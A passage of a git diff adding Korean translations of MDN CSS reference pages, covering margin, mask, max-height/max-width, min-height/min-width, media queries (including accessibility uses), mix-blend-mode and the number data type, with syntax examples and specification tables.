+                            /* 하: 30px */
+                            /* 좌:  5px */
+
+margin: 2em auto;           /* 상하: 2em */
+                            /* 수평 중앙정렬 */
+
+margin: auto;               /* 상하: 0 */
+                            /* 수평 중앙정렬 */
+ +

참고

+ +

수평 중앙정렬

+ +

현대 브라우저에서 어떤 요소를 중앙에 배치하려면 {{cssxref("display")}}: flex; {{cssxref("justify-content")}}: center;를 사용하면 됩니다.

+ +

하지만 플렉스 박스 레이아웃을 지원하지 않는 Internet Explorer 8-9 등 오래된 브라우저를 지원해야 하면 margin: 0 auto;를 대신 사용하세요.

+ +

여백 상쇄

+ +

두 개 요소의 위와 아래 여백은 종종 합쳐져 하나의 여백이 되고, 그 크기는 둘 중 더 큰 여백과 같아집니다. 더 자세한 정보는 여백 상쇄 정복을 참고하세요.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Box', '#margin', 'margin') }}{{ Spec2('CSS3 Box') }}No significant change
{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin') }}{{ Spec2('CSS3 Transitions') }}Defines margin as animatable.
{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin') }}{{ Spec2('CSS2.1') }}Removes its effect on inline elements.
{{ SpecName('CSS1', '#margin', 'margin') }}{{ Spec2('CSS1') }}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ +

{{Compat("css.properties.margin")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/mask/index.html b/files/ko/web/css/mask/index.html new file mode 100644 index 0000000000..ca23758e02 --- /dev/null +++ b/files/ko/web/css/mask/index.html @@ -0,0 +1,117 @@ +--- +title: mask +slug: Web/CSS/mask +tags: + - CSS + - CSS Property + - Layout + - Reference + - SVG + - Web +translation_of: Web/CSS/mask +--- +
{{CSSRef}}
+ +

mask CSS 속성은 아이템이 부분적으로만 보여지게 하거나 혹은 완전히 가려서 보여지지 않게 할 수 있는 기능을 가지고 있습니다. 이 속성은 마스킹 혹은 특정한 점을 기준으로 이미지를 잘라내는 기능을 함께 제공합니다.

+ +
+

mask 는 {{cssxref("mask-border")}}를 초기값으로 재정의합니다. 그러므로 캐스캐이드 이전 단계에 어떠한 마스크 설정을 덮어씌우는 개별 속성아니 여타 다른 속성보다는 mask 를 사용하는 것을 추천합니다. This will ensure that mask-border has also been reset to allow the new styles to take effect.

+
+ +

{{cssinfo}}

+ +

구문

+ +
/* 키워드 값 */
+mask: none;
+
+/* 이미지 값 */
+mask: url(mask.png);                       /* 마스크로 사용되는 이미지 */
+mask: url(masks.svg#star);                 /* 마스크로 사용되는 SVG 그래픽 내 요소 */
+
+/* 조합형 값 */
+mask: url(masks.svg#star) luminance;       /* 밝기 조절용 마스크로 사용되는 SVG 그래픽 내 요소 */
+mask: url(masks.svg#star) 40px 20px;       /* 위로부터 40px, 아래부터 20px에 위치하는 마스크로 사용되는 SVG 그래픽 내 요소 */
+mask: url(masks.svg#star) 0 0/50px 50px;   /* 가로, 세로 각각 50px 사이즈의 마스크로 사용되는 SVG 그래픽 내 요소 */
+mask: url(masks.svg#star) repeat-x;        /* 수평으로 반복되는 마스크로 사용되는 SVG 그래픽 내 요소 */
+mask: url(masks.svg#star) stroke-box;      /* Element within SVG graphic used as mask extending to the box enclosed by the stroke */
+mask: url(masks.svg#star) exclude;         /* Element within SVG graphic used as mask and combined with background using non-overlapping parts */
+
+/* 글로벌 값 */
+mask: inherit;
+mask: initial;
+mask: unset;
+
+ +

+ +
+
<mask-reference>
+
마스크 이미지 파일 설정하기. {{cssxref("mask-image")}}를 확인하세요.
+
<masking-mode>
+
마스크 이미지의 마스킹 모드 설정하기. {{cssxref("mask-mode")}}를 확인하세요.
+
<position>
+
마스크 이미지의 위치 설정하기. {{cssxref("mask-position")}}를 확인하세요.
+
<bg-size>
+
마스크 이미지의 크기 설정하기. {{cssxref("mask-size")}}를 확인하세요.
+
<repeat-style>
+
마스크 이미지의 반복 설정하기. See {{cssxref("mask-repeat")}}를 확인하세요.
+
<geometry-box>
+
단 하나의 <geometry-box> 값만 주어진다면 {{cssxref("mask-origin")}}와(과)( {{cssxref("mask-clip")}} 모두 같은 값으로 설정하는 것을 의미합니다. 두개의<geometry-box> 값이 주어진다면 첫번째 값은 {{cssxref("mask-origin")}}을(를), 두번쨰 값은 {{cssxref("mask-clip")}}를 설정하는 것을 의미합니다.
+
<geometry-box> | no-clip
+
마스크 이미지에 영향을 받는 구역을 설정하기. {{cssxref("mask-clip")}}를 확인하세요.
+
<compositing-operator>
+
현재 마스크 레이어 위의 합성 설정하기. {{cssxref("mask-composite")}}를 확인하세요.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
.target {
+  mask: url(#c1) luminance;
+}
+
+.anothertarget {
+  mask: url(resources.svg#c1) 50px 30px/10px 10px repeat-x exclude;
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Masks", "#the-mask", 'mask')}}{{Spec2("CSS Masks")}}Extends its usage to HTML elements.
+ Extends its syntax by making it a shorthand for the new mask-* properties defined in that specification.
{{SpecName('SVG1.1', 'masking.html#MaskProperty', 'mask')}}{{Spec2('SVG1.1')}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("css.properties.mask")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/max-height/index.html b/files/ko/web/css/max-height/index.html new file mode 100644 index 0000000000..3c2dfc18de --- /dev/null +++ b/files/ko/web/css/max-height/index.html @@ -0,0 +1,127 @@ +--- +title: max-height +slug: Web/CSS/max-height +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/max-height +--- +
{{CSSRef}}
+ +

max-height CSS 속성은 요소의 최대 높이를 설정합니다. max-height는 {{cssxref("height")}} 속성의 사용값이 자신의 값보다 커지는걸 방지합니다.

+ +
{{EmbedInteractiveExample("pages/css/max-height.html")}}
+ + + +

max-height가 {{cssxref("height")}}를 재설정하고, {{cssxref("min-height")}}가 max-height를 재설정합니다.

+ +

구문

+ +
/* <length> 값 */
+max-height: 3.5em;
+
+/* <percentage> 값 */
+max-height: 75%;
+
+/* 키워드 값 */
+max-height: none;
+max-height: max-content;
+max-height: min-content;
+max-height: fit-content;
+max-height: fill-available;
+
+/* 전역 값 */
+max-height: inherit;
+max-height: initial;
+max-height: unset;
+
+ +

+ +
+
{{cssxref("<length>")}}
+
고정 길이로 나타낸 최대 높이.
+
{{cssxref("<percentage>")}}
+
컨테이닝 블록 높이에 대한 백분율로 나타낸 최대 높이.
+
+ +

키워드 값

+ +
+
none
+
최대 높이를 정하지 않음.
+
max-content {{experimental_inline()}}
+
본질적인 선호 높이.
+
min-content {{experimental_inline()}}
+
본질적인 최소 높이.
+
fill-available {{experimental_inline()}}
+
컨테이닝 블록의 높이에서 세로축 안쪽 및 바깥 여백과 테두리의 공간을 제외한 높이. (일부 브라우저는 매우 오래 된 이름인 available로 구현함을 참고하세요.)
+
fit-content {{experimental_inline()}}
+
max-content와 동일.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
table { max-height: 75%; }
+
+form { max-height: none; }
+
+ +

접근성 참고사항

+ +

페이지의 확대 또는 글씨 크기를 키운 후에도 max-height를 설정한 요소의 내용이 잘리거나, 다른 요소를 가리지 않도록 주의하세요.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'max-height') }}{{ Spec2('CSS3 Sizing') }}Adds the max-content, min-content, fit-content, and fill-available keywords. (Both CSS3 Box and CSS3 Writing Modes drafts used to define these keywords, but are superseded by this spec.)
{{ SpecName('CSS3 Transitions', '#animatable-css', 'max-height') }}{{ Spec2('CSS3 Transitions') }}Defines max-height as animatable.
{{ SpecName('CSS2.1', 'visudet.html#min-max-heights', 'max-height') }}{{ Spec2('CSS2.1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.max-height")}}

+ +

같이 보기

+ +
    +
  • 박스 모델 입문, {{cssxref("box-sizing")}}
  • +
  • {{cssxref("height")}}, {{cssxref("min-height")}}
  • +
diff --git a/files/ko/web/css/max-width/index.html b/files/ko/web/css/max-width/index.html new file mode 100644 index 0000000000..92f8727cbf --- /dev/null +++ b/files/ko/web/css/max-width/index.html @@ -0,0 +1,173 @@ +--- +title: max-width +slug: Web/CSS/max-width +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/max-width +--- +
{{CSSRef}}
+ +

max-width CSS 속성은 요소의 최대 너비를 설정합니다. max-width는 {{cssxref("width")}} 속성의 사용값이 자신의 값보다 커지는걸 방지합니다.

+ +
{{EmbedInteractiveExample("pages/css/max-width.html")}}
+ + + +

max-width가 {{cssxref("width")}}를 재설정하고, {{cssxref("min-height")}}가 max-width를 재설정합니다.

+ +

구문

+ +
/* <length> 값 */
+max-width: 3.5em;
+
+/* <percentage> 값 */
+max-width: 75%;
+
+/* 키워드 값 */
+max-width: none;
+max-width: max-content;
+max-width: min-content;
+max-width: fit-content;
+max-width: fill-available;
+
+/* 전역 값 */
+max-width: inherit;
+max-width: initial;
+max-width: unset;
+
+ +

+ +
+
{{cssxref("<length>")}}
+
고정 길이로 나타낸 최대 너비.
+
{{cssxref("<percentage>")}}
+
컨테이닝 블록 너비에 대한 백분율로 나타낸 최대 너비.
+
+ +

키워드 값

+ +
+
none
+
최대 너비를 정하지 않음.
+
max-content {{experimental_inline()}}
+
본질적인 선호 높이.
+
min-content {{experimental_inline()}}
+
본질적인 최소 높이.
+
fill-available {{experimental_inline()}}
+
컨테이닝 블록의 높이에서 가로축 안쪽 및 바깥 여백과 테두리의 공간을 제외한 높이. (일부 브라우저는 매우 오래 된 이름인 available로 구현함을 참고하세요.)
+
fit-content {{experimental_inline()}}
+
max-content와 동일.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

다음 예제에서, 자식(child) 요소의 너비는 150픽셀과 부모(parent) 요소의 너비 중 더 작은 값이 됩니다.

+ +
+
<div id="parent">
+  <div id="child">
+    Fusce pulvinar vestibulum eros, sed luctus ex lobortis quis.
+  </div>
+</div>
+
+ +
#parent {
+  background: lightblue;
+  width: 300px;
+}
+
+#child {
+  background: gold;
+  width: 100%;
+  max-width: 150px;
+}
+
+
+ +

{{EmbedLiveSample("basic-max-width-demo", 350, 100)}}

+ +

fit-content 값을 사용하여 해당 요소의 내용이 필요로 하는 너비만 차지하도록 설정할 수 있습니다.

+ +
+ + +
#parent {
+  background: lightblue;
+  width: 300px;
+}
+
+#child  {
+  background: gold;
+  width: 100%;
+  max-width: -moz-fit-content;
+  max-width: -webkit-fit-content;
+}
+
+
+ +

{{EmbedLiveSample("fit-content-demo", 400, 100)}}

+ +

접근성 고려사항

+ +

페이지의 확대 또는 글씨 크기를 키운 후에도 max-width를 설정한 요소의 내용이 잘리거나, 다른 요소를 가리지 않도록 주의하세요.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'max-width') }}{{ Spec2('CSS3 Sizing') }}Adds the max-content, min-content, fit-content, and fill-available keywords. (Both CSS3 Box and CSS3 Writing Modes drafts used to define these keywords, but are superseded by this spec.)
{{ SpecName('CSS3 Transitions', '#animatable-css', 'max-width') }}{{ Spec2('CSS3 Transitions') }}Defines max-width as animatable.
{{ SpecName('CSS2.1', 'visudet.html#min-max-widths', 'max-width') }}{{ Spec2('CSS2.1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.max-width")}}

+ +

같이 보기

+ +
    +
  • 박스 모델 입문
  • +
  • {{cssxref("box-sizing")}}, {{cssxref("width")}}, {{ Cssxref("min-width") }}
  • +
diff --git a/files/ko/web/css/media_queries/index.html b/files/ko/web/css/media_queries/index.html new file mode 100644 index 0000000000..c3f4e87226 --- /dev/null +++ b/files/ko/web/css/media_queries/index.html @@ -0,0 +1,103 @@ +--- +title: 미디어 쿼리 +slug: Web/CSS/Media_Queries +tags: + - CSS + - CSS 미디어 쿼리 + - Media Queries + - Overview + - Reference + - 미디어 쿼리 + - 반응형 디자인 +translation_of: Web/CSS/Media_Queries +--- +
{{CSSRef}}
+ +

미디어 쿼리는 다양한 기기 특성과 파라메터의 존재 여부에 따라 사이트, 혹은 앱을 조정할 수 있습니다.

+ +

미디어 쿼리는 반응형 디자인의 핵심 구성 요소입니다. 예를 들어, 미디어 쿼리는 작은 기기에 맞춰 폰트 사이즈를 줄어들게 하거나, 세로 모드(portrait mode)일 때 단락의 패딩 값을 증가시킬 수도 있습니다. 혹은 터치 스크린에서 버튼 사이즈를 키울 수도 있습니다.

+ +

CSS에서는 {{cssxref("@media")}} @규칙을 사용해서 스타일 시트의 일부를 조건부로 적용합니다. 이 스타일 시트는 미디어 쿼리의 결과에 기반한 스타일 시트입니다. {{cssxref("@import")}}를 사용해서 조건부로 전체 스타일시트를 적용해보세요.

+ +

HTML에서의 미디어 쿼리

+ +

HTML에서 미디어 쿼리는 다양한 요소에 적용될 수 있습니다.:

+ +
    +
  • {{HTMLElement("link")}} 요소의 {{htmlattrxref("media", "link")}} 속성에서는, 링크된 리소스 (일반적으로 CSS)가 적용되어야하는 미디어를 정의합니다.
  • +
  • {{HTMLElement("source")}} 요소의 {{htmlattrxref("media", "source")}} 속성에서는, 해당 소스가 적용되어야하는 미디어를 정의합니다. (이건 {{HTMLElement("picture")}} 요소 안에서만 유효합니다.)
  • +
  • {{HTMLElement("style")}} 요소의 {{htmlattrxref("media", "style")}} 속성에서는, 스타일이 적용되어야하는 미디어를 정의합니다.
  • +
+ +

JavaScript에서의 미디어 쿼리

+ +

JavaScript에서는, {{domxref("Window.matchMedia()")}} 메소드로 미디어 쿼리를 테스트할 수 있습니다. {{domxref("MediaQueryList.addListener()")}} 메소드를 사용하면 쿼리가 변경될 때마다 사이트나 앱에서 알림을 받을 수도 있습니다. 이러한 기능을 사용하면, 사이트나 앱이 기기 구성, 방향 또는 상태의 변화에 따라 응답할 수도 있습니다.

+ +

Testing media queries에서 프로그래밍 방식으로 미디어 쿼리를 사용하는 방법에 대해 자세히 배워보세요.

+ +

참고서

+ +

@규칙

+ +
+
    +
  • {{cssxref("@import")}}
  • +
  • {{cssxref("@media")}}
  • +
+
+ +

안내서

+ +
+
미디어 쿼리 사용하기
+
미디어 쿼리 표현식을 구성하는데 사용되는 미디어 쿼리, 구문 및 연산자와 미디어 기능을 소개합니다.
+
프로그래밍 방식으로 미디어 쿼리 테스트하기
+
자바스크립트 코드에서 어떻게 미디어 쿼리를 사용해 디바이스의 상태를 확인하는지, 그리고 미디어 쿼리가 변경될 때(사용자가 화면을 회전시키거나 브라우저를 리사이즈 할 때와 같은 상황)마다 알림을 보내기 위해 어떻게 리스너를 설정하는지에 대해 설명합니다.
+
접근성을 위한 미디어 쿼리
+
미디어 쿼리를 사용해 사용자가 웹사이트를 더 잘 이해할 수 있게 만들어보세요.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS5 Media Queries')}}{{Spec2('CSS5 Media Queries')}} 
{{SpecName('CSS3 Conditional')}}{{Spec2('CSS3 Conditional')}} 
{{SpecName('CSS4 Media Queries')}}{{Spec2('CSS4 Media Queries')}} 
{{SpecName('CSS3 Media Queries')}}{{Spec2('CSS3 Media Queries')}} 
{{SpecName('CSS2.1', 'media.html')}}{{Spec2('CSS2.1')}}Initial definition
+ +

같이 보기

+ +
    +
  • {{cssxref("@supports")}} 를 사용하면 브라우저가 지원하는 다양한 CSS 기술들에 대한 스타일을 적용할 수 있습니다.
  • +
diff --git a/files/ko/web/css/media_queries/using_media_queries_for_accessibility/index.html b/files/ko/web/css/media_queries/using_media_queries_for_accessibility/index.html new file mode 100644 index 0000000000..d48d431b7d --- /dev/null +++ b/files/ko/web/css/media_queries/using_media_queries_for_accessibility/index.html @@ -0,0 +1,93 @@ +--- +title: 접근성을 위한 미디어 쿼리 사용하기 +slug: Web/CSS/Media_Queries/Using_Media_Queries_for_Accessibility +tags: + - '@media' + - CSS + - 미디어 속성 + - 접근성 +translation_of: Web/CSS/Media_Queries/Using_Media_Queries_for_Accessibility +--- +

미디어쿼리(Media Queries)는 장애를 가진 사용자가 웹사이트를 더 쉽게 이해할 수 있도록 도울 수 있습니다.

+ +

애니메이션 동작 축소하기(Reduced Motion)

+ +

깜빡이거나 반짝이는 애니메이션은 주의력결핍 과잉행동증후군(注意力缺乏過剩行動症候群 : ADHD)와 같은 인식장애를 가진 사람들에게 문제가 될 수 있다. 이러한 종류의 애니메이션 동작들은 시력 장애, 간질이나 편두통과 암소시성 민감증을 유발할 수 있습니다.

+ +

또한, 이 애니메이션 동작을 줄이는.방법을 통해 배터리가 부족한 사람이나 보급형 스마트폰 및 컴퓨터를 사용하는 사람들에게 도음을 줄 수 있습니다.

+ +

문법

+ +
+
no-preference
+
사용자가 디바이스에서 애니메이션 축소와 관련된 기능을 설정하지 않았을 경우에 적용될 스타일을 나타냅니다.
+
reduce
+
사용자가 디바이스에서 애니메이션 축소와 관련된 기능을 설정하였을 경우에 적용될 스타일을 나타냅니다.
+
+ +

예제

+ +

이 예시는 디바이스에서 애니메이션 축소와 관련된 기능을 설정하지 않으면 애니메이션 효과가 축소되지 않습니다.

+ +

HTML

+ +
<div class="animation">animated box</div>
+
+ +

CSS

+ +
.animation {
+  -webkit-animation: vibrate 0.3s linear infinite both;
+  animation: vibrate 0.3s linear infinite both;
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .animation {
+    animation: none;
+  }
+}
+
+ +

고대비 모드 (High Contrast Mode)

+ +
{{CSSRef}}{{Non-standard_header}}
+ +

-ms-high-contrast CSS media 속성은 애플리케이션이 고대비 모드로 표시되고 있는지의 여부에따라 어떤 색상으로 웹사이트를 표시할 지를 정의하는 Microsoft 확장기능입니다.

+ +

 이 미디어 속성은 저시력 사용자나 대비에 민감한 문제가 있는 사람뿐만 아니라 직사광선 아래에서 컴퓨터나 휴대폰을 사용하는 사람에게도 도움이 됩니다.

+ +

문법

+ +

-ms-high-contrast 미디어 속성(Media Feature)은 다음 값 중 하나를 지정하여 사용할 수 있습니다.

+ +

속성값

+ +
+
active
+
+

시스템이 색상과 관계없이 고대비 모드로 변경되었을 때 후속 스타일링 규칙이 적용됨을 나타냅니다.

+
+
black-on-white
+
+

시스템이 검은색-흰 색 고대비 모드로 변경되었을 때 후속 스타일링 규칙이 적용됨을 나타냅니다.

+
+
white-on-black
+
+

시스템이 흰 색-검은 색 고대비 모드로 변경되었을 때 후속 스타일링 규칙이 적용됨을 나타냅니다.

+
+
+ +

예제

+ +

다음 선언된 스타일들은 시스템과 애플리케이션에서 고대비 모드의 색상 변화에 따라 스타일을 일치시켜줍니다.

+ +
@media screen and (-ms-high-contrast: active) {
+  /* 모든 고대비 모드에 대한 스타일 규칙입니다 */
+}
+@media screen and (-ms-high-contrast: black-on-white) {
+  div { background-image: url('image-bw.png'); }
+}
+@media screen and (-ms-high-contrast: white-on-black) {
+  div { background-image: url('image-wb.png'); }
+}
+
diff --git a/files/ko/web/css/min-height/index.html b/files/ko/web/css/min-height/index.html new file mode 100644 index 0000000000..80c27230af --- /dev/null +++ b/files/ko/web/css/min-height/index.html @@ -0,0 +1,123 @@ +--- +title: min-height +slug: Web/CSS/min-height +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/min-height +--- +
{{CSSRef}}
+ +

max-height CSS 속성은 요소의 최소 높이를 설정합니다. min-height는 {{cssxref("height")}} 속성의 사용값이 자신의 값보다 작아지는걸 방지합니다.

+ +
{{EmbedInteractiveExample("pages/css/min-height.html")}}
+ + + +

min-height가 {{cssxref("max-height")}} 또는 {{cssxref("height")}}보다 커지면 요소의 높이는 min-height의 값을 사용합니다.

+ +

구문

+ +
/* <length> 값 */
+min-height: 3.5em;
+
+/* <percentage> 값 */
+min-height: 10%;
+
+/* 키워드 값 */
+min-height: max-content;
+min-height: min-content;
+min-height: fit-content;
+min-height: fill-available;
+
+/* 전역 값 */
+min-height: inherit;
+min-height: initial;
+min-height: unset;
+
+ +

+ +
+
{{cssxref("<length>")}}
+
고정 길이로 나타낸 최대 높이. 음수 값은 유효하지 않습니다.
+
{{cssxref("<percentage>")}}
+
컨테이닝 블록 높이에 대한 백분율로 나타낸 최대 높이. 음수 값은 유효하지 않습니다.
+
+ +

키워드 값

+ +
+
auto
+
최소 높이를 정하지 않음.
+
+ +
+
max-content {{ experimental_inline() }}
+
본질적인 선호 높이.
+
min-content {{ experimental_inline() }}
+
본질적인 최소 높이.
+
fill-available {{ experimental_inline() }}
+
컨테이닝 블록의 높이에서 세로축 안쪽 및 바깥 여백과 테두리의 공간을 제외한 높이. (일부 브라우저는 매우 오래 된 이름인 available로 구현함을 참고하세요.)
+
fit-content {{ experimental_inline() }}
+
CSS3 Box 모듈에 따라 min-content의 다른 이름. CSS3 Sizing 모듈은 더 복잡한 알고리즘을 정의하지만, 모든 브라우저에서 실험 기능으로도 구현하지 않습니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
table { min-height: 75%; }
+
+form { min-height: 0; }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'min-height') }}{{ Spec2('CSS3 Sizing') }}Adds the max-content, min-content, fit-content, and fill-available keywords. (Both CSS3 Box and CSS3 Writing Modes drafts used to define these keywords, but are superseded by this spec.)
{{ SpecName('CSS3 Flexbox', '#min-auto', 'min-height') }}{{ Spec2('CSS3 Flexbox') }}Adds the auto keyword and uses it as the initial value.
{{ SpecName('CSS3 Transitions', '#animatable-css', 'min-height') }}{{ Spec2('CSS3 Transitions') }}Defines min-height as animatable.
{{ SpecName('CSS2.1', 'visudet.html#min-max-heights', 'min-height') }}{{ Spec2('CSS2.1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.min-height")}}

+ +

같이 보기

+ +
    +
  • 박스 모델 입문, {{cssxref("box-sizing")}}
  • +
  • {{ Cssxref("height") }}, {{ Cssxref("max-height") }}
  • +
diff --git a/files/ko/web/css/min-width/index.html b/files/ko/web/css/min-width/index.html new file mode 100644 index 0000000000..50bab2c8d9 --- /dev/null +++ b/files/ko/web/css/min-width/index.html @@ -0,0 +1,122 @@ +--- +title: min-width +slug: Web/CSS/min-width +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/min-width +--- +
{{CSSRef}}
+ +

min-width CSS 속성은 요소의 최소 너비를 설정합니다. min-width는 {{cssxref("width")}} 속성의 사용값이 자신의 값보다 작아지는걸 방지합니다.

+ +
{{EmbedInteractiveExample("pages/css/min-width.html")}}
+ + + +

min-width가 {{cssxref("max-width")}} 또는 {{cssxref("width")}}보다 커지면 요소의 높이는 min-width의 값을 사용합니다.

+ +

구문

+ +
/* <length> 값 */
+min-width: 3.5em;
+
+/* <percentage> 값 */
+min-width: 10%;
+
+/* 키워드 값 */
+min-width: max-content;
+min-width: min-content;
+min-width: fit-content;
+min-width: fill-available;
+
+/* 전역 값 */
+min-width: inherit;
+min-width: initial;
+min-width: unset;
+
+ +

+ +
+
{{cssxref("<length>")}}
+
고정 길이로 나타낸 최대 너비. 음수 값은 유효하지 않습니다.
+
{{cssxref("<percentage>")}}
+
컨테이닝 블록 너비에 대한 백분율로 나타낸 최대 너비. 음수 값은 유효하지 않습니다.
+
+ +

키워드 값

+ +
+
auto
+
최소 너비를 정하지 않음.
+
max-content {{ experimental_inline() }}
+
본질적인 선호 높이.
+
min-content {{ experimental_inline() }}
+
본질적인 최소 높이.
+
fill-available{{ experimental_inline() }}
+
컨테이닝 블록의 너비에서 가로축 안쪽 및 바깥 여백과 테두리의 공간을 제외한 높이. (일부 브라우저는 매우 오래 된 이름인 available로 구현함을 참고하세요.)
+
fit-content {{ experimental_inline() }}
+
min(max-content, max(min-content, fill-available))과 같음.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
table { min-width: 75%; }
+
+form { min-width: 0; }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'min-width') }}{{ Spec2('CSS3 Sizing') }}Adds the max-content, min-content, fit-content, and fill-available keywords. (Both CSS3 Box and CSS3 Writing Modes drafts used to define these keywords, but are superseded by this spec.)
{{ SpecName('CSS3 Flexbox', '#min-size-auto', 'min-width') }}{{ Spec2('CSS3 Flexbox') }}Adds the auto keyword and uses it as the initial value.
{{ SpecName('CSS3 Transitions', '#animatable-css', 'min-width') }}{{ Spec2('CSS3 Transitions') }}Defines min-width as animatable.
{{ SpecName('CSS2.1', 'visudet.html#min-max-widths', 'min-width') }}{{ Spec2('CSS2.1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.min-width")}}

+ +

같이 보기

+ +
    +
  • 박스 모델 입문, {{cssxref("box-sizing")}}
  • +
  • {{ Cssxref("width") }}, {{ Cssxref("max-width") }}
  • +
diff --git a/files/ko/web/css/mix-blend-mode/index.html b/files/ko/web/css/mix-blend-mode/index.html new file mode 100644 index 0000000000..069bb0122f --- /dev/null +++ b/files/ko/web/css/mix-blend-mode/index.html @@ -0,0 +1,651 @@ +--- +title: mix-blend-mode +slug: Web/CSS/mix-blend-mode +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/mix-blend-mode +--- +
{{CSSRef}}
+ +

mix-blend-mode CSS 속성은 어느 요소의 콘텐츠가 자신의 배경 및 부모와 어떻게 혼합되어야 하는지 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/mix-blend-mode.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+mix-blend-mode: normal;
+mix-blend-mode: multiply;
+mix-blend-mode: screen;
+mix-blend-mode: overlay;
+mix-blend-mode: darken;
+mix-blend-mode: lighten;
+mix-blend-mode: color-dodge;
+mix-blend-mode: color-burn;
+mix-blend-mode: hard-light;
+mix-blend-mode: soft-light;
+mix-blend-mode: difference;
+mix-blend-mode: exclusion;
+mix-blend-mode: hue;
+mix-blend-mode: saturation;
+mix-blend-mode: color;
+mix-blend-mode: luminosity;
+
+/* 전역 값 */
+mix-blend-mode: initial;
+mix-blend-mode: inherit;
+mix-blend-mode: unset;
+
+ +

+ +
+
{{cssxref("<blend-mode>")}}
+
적용할 혼합 모드.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ + + +
{{EmbedLiveSample("mix-blend-mode", "100%", 1600, "", "", "example-outcome-frame")}}
+ +

HTML 예제

+ +
<div class="isolate">
+  <div class="circle circle-1"></div>
+  <div class="circle circle-2"></div>
+  <div class="circle circle-3"></div>
+</div>
+ +
.circle {
+  width: 80px;
+  height: 80px;
+  border-radius: 50%;
+  mix-blend-mode: screen;
+  position: absolute;
+}
+
+.circle-1 {
+  background: red;
+}
+
+.circle-2 {
+  background: lightgreen;
+  left: 40px;
+}
+
+.circle-3 {
+  background: blue;
+  left: 20px;
+  top: 40px;
+}
+
+.isolate {
+  isolation: isolate; /* Without isolation, the background color will be taken into account */
+  position: relative;
+}
+ +

{{EmbedLiveSample("HTML_예제", "100%", "180")}}

+ +

SVG 예제

+ +

다음은 이전의 예제를 SVG로 구현한 것입니다.

+ +
<svg>
+  <g class="isolate">
+    <circle cx="40" cy="40" r="40" fill="red"/>
+    <circle cx="80" cy="40" r="40" fill="lightgreen"/>
+    <circle cx="60" cy="80" r="40" fill="blue"/>
+  </g>
+</svg>
+ +
circle { mix-blend-mode: screen; }
+.isolate { isolation: isolate; } /* Without isolation, the background color will be taken into account */
+
+ +

{{EmbedLiveSample("SVG_예제", "100%", "180")}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Compositing', '#mix-blend-mode', 'mix-blend-mode') }}{{ Spec2('Compositing') }}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.mix-blend-mode")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("<blend-mode>")}}
  • +
  • {{cssxref("background-blend-mode")}}
  • +
diff --git a/files/ko/web/css/number/index.html b/files/ko/web/css/number/index.html new file mode 100644 index 0000000000..cc336a6ec2 --- /dev/null +++ b/files/ko/web/css/number/index.html @@ -0,0 +1,85 @@ +--- +title: +slug: Web/CSS/number +tags: + - CSS + - CSS Data Type + - Layout + - Reference + - Web +translation_of: Web/CSS/number +--- +
{{CSSRef}}
+ +

<number> CSS 자료형은 숫자, 즉 정수 또는 실수를 표현합니다.

+ +

구문

+ +

<number> 구문은 {{cssxref("<integer>")}} 구문을 확장합니다. 소수점 이하 값은 . 뒤로 한 개 이상의 10진수 숫자를 붙여 표현하며, 정수 뒤에 이어 붙일 수 있습니다. 따로 연관지어야 하는 단위는 없습니다.

+ +

보간

+ +

애니메이션에서 <number> 자료형의 값은 유동소수점 실수를 사용해 보간합니다. 보간의 속도는 애니메이션과 연결된 timing function이 결정합니다.

+ +

예제

+ +

유효한 숫자

+ +
12          <integer>는 <number>
+4.01        양의 실수
+-456.8      음의 실수
+0.0         0
++0.0        0, 양의 부호
+-0.0        0, 음의 부호
+.60         앞의 0 없는 소수점 이하 값
+10e3        과학적 표기법
+-3.4e-2     복잡한 과학적 표기법
+
+ +

유효하지 않은 숫자

+ +
12.         소수점 뒤에 최소 하나의 숫자가 존재해야 함
++-12.2      하나의 +/-만 허용
+12.1.1      하나의 소수점만 허용
+
+ +

명세

